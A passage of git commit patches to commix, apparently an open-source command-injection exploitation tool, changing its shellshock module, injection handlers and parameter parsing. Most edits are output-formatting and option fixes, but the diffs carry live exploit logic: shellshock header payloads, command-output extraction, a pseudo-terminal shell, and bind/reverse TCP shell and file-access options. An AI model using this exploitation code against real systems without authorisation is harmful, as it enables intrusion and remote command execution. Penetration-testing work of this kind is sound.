print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to upload the '" + dest_to_upload + "' file.\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += "to upload the '" + dest_to_upload + "' file." + print(settings.print_warning_msg(warn_msg)) settings.FILE_ACCESS_DONE = True #------------------------------------- @@ -477,23 +465,15 @@ def file_access(url, cve, check_header, filename): output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file.\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += "to read the '" + file_to_read + "' file." + print(settings.print_warning_msg(warn_msg)) settings.FILE_ACCESS_DONE = True - if settings.FILE_ACCESS_DONE == True: - print(settings.SINGLE_WHITESPACE) - """ Execute the bind / reverse TCP shell """ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - #if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." print(settings.print_critical_msg(err_msg)) @@ -566,7 +546,7 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h """ Check commix shell options """ -def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): +def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result): if os_shell_option == False: if no_result == True: @@ -582,7 +562,8 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r # The "os_shell" option elif os_shell_option == "os_shell": warn_msg = "You are into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" + print(settings.print_warning_msg(warn_msg)) + return go_back, go_back_again # The "bind_tcp" option elif os_shell_option == "bind_tcp": @@ -631,7 +612,8 @@ def shellshock_handler(url, http_request_method, filename): # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: - sys.stdout.write("\n" + settings.print_payload(payload)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) @@ -691,8 +673,6 @@ def shellshock_handler(url, http_request_method, filename): logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL != 0: - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) checks.total_of_requests() info_msg = "The (" + check_header + ") '" @@ -705,9 +685,7 @@ def shellshock_handler(url, http_request_method, filename): print(settings.print_sub_content(sub_content)) # Enumeration options. - if settings.ENUMERATION_DONE == True : - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) + if settings.ENUMERATION_DONE == True: while True: message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) @@ -726,7 +704,7 @@ def shellshock_handler(url, http_request_method, filename): enumeration(url, cve, check_header, filename) # File access options. - if settings.FILE_ACCESS_DONE == True : + if settings.FILE_ACCESS_DONE == True: while True: message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) @@ -747,111 +725,119 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - # if settings.VERBOSITY_LEVEL <= 1: - # print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - raise SystemExit() - - else: - # Pseudo-Terminal shell - print(settings.SINGLE_WHITESPACE) - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - - if cmd.lower() in settings.SHELL_OPTIONS: - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) - go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - - if go_back: + info_msg = "Executing the user-supplied command '" + cmd + "'." + if shell: + print(settings.print_info_msg(info_msg)) + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) + else: + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + + # Pseudo-Terminal shell + go_back = False + go_back_again = False + while True: + if go_back == True: + break + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + try: + if not settings.READLINE_ERROR: + checks.tab_autocompleter() + sys.stdout.write(settings.OS_SHELL) + cmd = common.read_input(message="", default="os_shell", check_batch=True) + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS: + os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) + if os_shell_option is not False: + go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result) + if go_back and go_back_again == False: break - else: - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - else: - debug_msg = "Executing the '" + cmd + "' command. " - if settings.VERBOSITY_LEVEL == 1: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - elif settings.VERBOSITY_LEVEL >= 2: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) + else: + logs.logs_notification(filename) + return True + else: + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + if shell != "": + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + print(settings.SINGLE_WHITESPACE) + print(Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL) + print(settings.SINGLE_WHITESPACE) + else: + debug_msg = "Executing the '" + cmd + "' command. " + if settings.VERBOSITY_LEVEL == 1: + print(settings.print_debug_msg(debug_msg)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_payload(payload)) print(settings.SINGLE_WHITESPACE) + elif settings.VERBOSITY_LEVEL >= 2: + print(settings.print_debug_msg(debug_msg)) + print(settings.SINGLE_WHITESPACE) + sys.stdout.write(settings.print_payload(payload)) + print(settings.SINGLE_WHITESPACE) + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) - except KeyboardInterrupt: - raise + except KeyboardInterrupt: + raise - except SystemExit: - raise + except SystemExit: + raise - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except TypeError: - break - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise + + except TypeError: break + + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result == True: + return False else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + logs.logs_notification(filename) + return True + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + continue + break - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - continue - break - else: - continue - - if no_result: - if settings.VERBOSITY_LEVEL != 2: - print(settings.SINGLE_WHITESPACE) + if no_result == True: + print(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + else: + logs.logs_notification(filename) + except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True @@ -880,7 +866,6 @@ def cmd_exec(url, cmd, cve, check_header, filename): """ def check_for_shell(url, cmd, cve, check_header, filename): try: - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) cmd = "echo " + TAG + "$(" + cmd + ")" + TAG payload = shellshock_exploitation(cve, cmd) @@ -889,7 +874,9 @@ def check_for_shell(url, cmd, cve, check_header, filename): sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") + print(settings.SINGLE_WHITESPACE) + print(settings.print_payload(payload)) + print(settings.SINGLE_WHITESPACE) header = {check_header : payload} request = _urllib.request.Request(url, None, header) @@ -913,7 +900,8 @@ def check_for_shell(url, cmd, cve, check_header, filename): return shell, payload except _urllib.error.URLError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_critical_msg(err_msg)) raise SystemExit() shell, payload = check_for_shell(url, cmd, cve, check_header, filename) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index d362a27f1f..d1acf6c6dc 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -550,6 +550,7 @@ def configure_bind_tcp(separator): print(settings.print_error_msg(err_msg)) pass else: + print(settings.SINGLE_WHITESPACE) err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 1106bec498..2f12bb71a9 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -767,6 +767,7 @@ def configure_reverse_tcp(separator): print(settings.print_error_msg(err_msg)) pass else: + print(settings.SINGLE_WHITESPACE) err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt index de1f14c0da..903decf9cc 100644 --- a/src/txt/shocker-cgi_list.txt +++ b/src/txt/shocker-cgi_list.txt @@ -400,3 +400,4 @@ /wwwadmin.cgi /wwwboard.cgi /wwwboard/wwwboard.cgi +/cgi-bin/ \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 2df0c86364..482b6ebed2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "68" +REVISION = "69" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 5db724260f23464543717d8ae0440b17202c024c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 24 May 2022 07:28:12 +0300 Subject: [PATCH 0146/1023] Trivial update --- .../blind/techniques/time_based/tb_handler.py | 5 ++++- .../semiblind/techniques/file_based/fb_handler.py | 5 ++++- .../techniques/tempfile_based/tfb_handler.py | 6 ++++-- src/core/main.py | 13 +++++-------- src/core/modules/shellshock/shellshock.py | 10 ++++------ src/core/requests/requests.py | 2 ++ src/utils/settings.py | 2 +- 7 files changed, 24 insertions(+), 19 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 33c6a5b42f..7f712877db 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -450,7 +450,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r menu.options.ignore_session = True tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: + new_line = False break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() @@ -459,6 +460,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.print_error_msg(err_msg)) pass else: + if not new_line: + print(settings.SINGLE_WHITESPACE) tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index ff0d252b88..cc4659d8e0 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -585,7 +585,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 96cd13a702..5527993e63 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -496,7 +496,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, menu.options.ignore_session = True tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: + new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -507,7 +508,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass else: - print(settings.SINGLE_WHITESPACE) + if not new_line: + print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. diff --git a/src/core/main.py b/src/core/main.py index b322bd6d22..5fb236ecdb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -573,7 +573,11 @@ def main(filename, url): if not sys.stdin.isatty(): settings.IS_TTY = False - + + # Check if defined "--purge" option. + if menu.options.purge: + purge.purge() + # Check for missing mandatory option(s). if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ @@ -638,13 +642,6 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check if defined "--purge" option. - if menu.options.purge: - purge.purge() - if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ - menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard)): - raise SystemExit() - # Check the user-defined OS. if menu.options.os: checks.user_defined_os() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 4cb7296c0a..2009419925 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -595,8 +595,7 @@ def shellshock_handler(url, http_request_method, filename): info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL >= 2: info_msg = info_msg + "\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: i = 0 @@ -612,7 +611,6 @@ def shellshock_handler(url, http_request_method, filename): # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." @@ -824,7 +822,8 @@ def shellshock_handler(url, http_request_method, filename): break if no_result == True: - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -872,11 +871,10 @@ def check_for_shell(url, cmd, cve, check_header, filename): debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL != 0: sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) print(settings.print_payload(payload)) - print(settings.SINGLE_WHITESPACE) header = {check_header : payload} request = _urllib.request.Request(url, None, header) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index dde40e07f6..438ff3f289 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1176,6 +1176,8 @@ def check_target_os(server_banner): settings.TARGET_OS = identified_os[:3].lower() if menu.options.shellshock: + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 482b6ebed2..a1cbba3644 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "69" +REVISION = "70" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From e4d00424901309b5845abc7aa55e31adf1a28a12 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 25 May 2022 07:31:58 +0300 Subject: [PATCH 0147/1023] Trivial updates --- src/core/injections/controller/checks.py | 11 +++++++--- src/core/injections/controller/controller.py | 10 ++++------ src/core/modules/shellshock/shellshock.py | 21 +++++++++++--------- src/core/requests/parameters.py | 4 +++- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 6 files changed, 29 insertions(+), 21 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fe69c93f57..397a02bff1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -699,13 +699,15 @@ def check_CGI_scripts(url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + _ = False for cgi_script in CGI_SCRIPTS: - if cgi_script in url and menu.options.shellshock == False: - warn_msg = "URL is probable to contain a script ('" + cgi_script + "') " + if cgi_script in url: + warn_msg = "The URL is probable to contain a script ('" + cgi_script + "') " warn_msg += "vulnerable to shellshock. " + _ = True print(settings.print_warning_msg(warn_msg)) while True: - message = "Do you want to enable the shellshock injection module? [Y/n] > " + message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > " shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True @@ -720,6 +722,9 @@ def check_CGI_scripts(url): err_msg = "'" + shellshock_check + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass + + if not _: + menu.options.shellshock = False """ Check if http / https. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b9a385812c..2638b15611 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -310,7 +310,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) - # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) @@ -442,7 +441,7 @@ def http_headers_injection(url, http_request_method, filename, timesec): def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent if not menu.options.shellshock: - menu.options.agent = menu.options.agent + settings.INJECT_TAG + menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True if settings.USER_AGENT_INJECTION: check_parameter = header_name = " User-Agent" @@ -469,10 +468,9 @@ def referer_injection(url, http_request_method, filename, timesec): def host_injection(url, http_request_method, filename, timesec): host = menu.options.host - if not menu.options.shellshock: - if menu.options.host is None: - menu.options.host = "" - menu.options.host = menu.options.host + settings.INJECT_TAG + if menu.options.host is None: + menu.options.host = "" + menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True if settings.HOST_INJECTION: check_parameter = header_name = " Host" diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 2009419925..e684774cbc 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -29,6 +29,14 @@ [2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 """ +if settings.MULTI_TARGETS or not settings.IS_TTY: + if settings.COOKIE_INJECTION == True: + settings.COOKIE_INJECTION = None + if settings.USER_AGENT_INJECTION == True: + settings.USER_AGENT_INJECTION = None + if settings.REFERER_INJECTION == True: + settings.REFERER_INJECTION = None + # Available HTTP headers headers = [ "User-Agent", @@ -592,11 +600,6 @@ def shellshock_handler(url, http_request_method, filename): injection_type = "results-based command injection" technique = "shellshock injection technique" - info_msg = "Testing the " + technique + ". " - if settings.VERBOSITY_LEVEL >= 2: - info_msg = info_msg + "\n" - print(settings.print_info_msg(info_msg)) - try: i = 0 total = len(shellshock_cves) * len(headers) @@ -621,8 +624,6 @@ def shellshock_handler(url, http_request_method, filename): request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload - else: - menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. @@ -633,6 +634,8 @@ def shellshock_handler(url, http_request_method, filename): response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if check_header == "User-Agent": + menu.options.agent = default_user_agent percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) @@ -880,8 +883,6 @@ def check_for_shell(url, cmd, cve, check_header, filename): request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload - else: - menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. @@ -892,6 +893,8 @@ def check_for_shell(url, cmd, cve, check_header, filename): response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if check_header == "User-Agent": + menu.options.agent = default_user_agent shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) shell = ''.join(shell) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 8a00bcec0d..eb5794af6b 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -388,7 +388,9 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): - if settings.USER_AGENT_INJECTION == True: + if settings.COOKIE_INJECTION == True: + specify_cookie_parameter(menu.options.cookie) + elif settings.USER_AGENT_INJECTION == True: specify_user_agent_parameter(menu.options.agent) elif settings.REFERER_INJECTION == True: specify_referer_parameter(menu.options.referer) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 438ff3f289..06cf9ab0d3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1178,7 +1178,7 @@ def check_target_os(server_banner): if menu.options.shellshock: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - err_msg = "The shellshock module is not available for " + err_msg = "The shellshock module ('--shellshock') is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index a1cbba3644..4e3b11a6c3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "70" +REVISION = "71" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 1afbfb9f292b208e9e7b92127134314c38b58ba1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 26 May 2022 07:39:38 +0300 Subject: [PATCH 0148/1023] Minor updates --- src/core/injections/controller/checks.py | 6 ++---- src/core/requests/parameters.py | 16 ++++++++++++---- src/utils/settings.py | 3 ++- 3 files changed, 16 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 397a02bff1..6b190c4fc0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -904,11 +904,9 @@ def wildcard_character(data): _ = "" for data in data.split("\\n"): # Ignore the Accept HTTP Header - if not data.startswith("Accept: ") and \ - not settings.WILDCARD_CHAR is None and \ - not settings.INJECT_TAG in data and \ - settings.WILDCARD_CHAR in data : + if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) + settings.WILDCARD_CHAR_APPLIED = True _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index eb5794af6b..584449586f 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -135,6 +135,7 @@ def do_GET_check(url, http_request_method): else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) # all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL @@ -317,7 +318,7 @@ def do_POST_check(parameter, http_request_method): else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") + # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) parameter = parameter.replace(settings.RANDOM_TAG,"") @@ -398,10 +399,14 @@ def prefixes(payload, prefix): specify_host_parameter(menu.options.host) # Check if defined "--prefix" option. + testable_value = settings.TESTABLE_VALUE + if settings.WILDCARD_CHAR_APPLIED: + testable_value = "" if menu.options.prefix: - payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload + payload = testable_value + menu.options.prefix + prefix + payload else: - payload = settings.TESTABLE_VALUE + prefix + payload + payload = testable_value + prefix + payload + return payload """ @@ -415,12 +420,15 @@ def suffixes(payload, suffix): payload = payload + suffix + menu.options.suffix else: payload = payload + suffix + return payload """ The cookie based injection. """ def do_cookie_check(cookie): + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. + cookie = checks.wildcard_character(cookie) multi_parameters = cookie.split(settings.COOKIE_DELIMITER) # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): @@ -480,6 +488,7 @@ def do_cookie_check(cookie): else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) if type(cookie) != list: @@ -500,7 +509,6 @@ def do_cookie_check(cookie): """ def specify_cookie_parameter(cookie): - cookie = checks.wildcard_character(cookie) # Specify the vulnerable cookie parameter if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): diff --git a/src/utils/settings.py b/src/utils/settings.py index 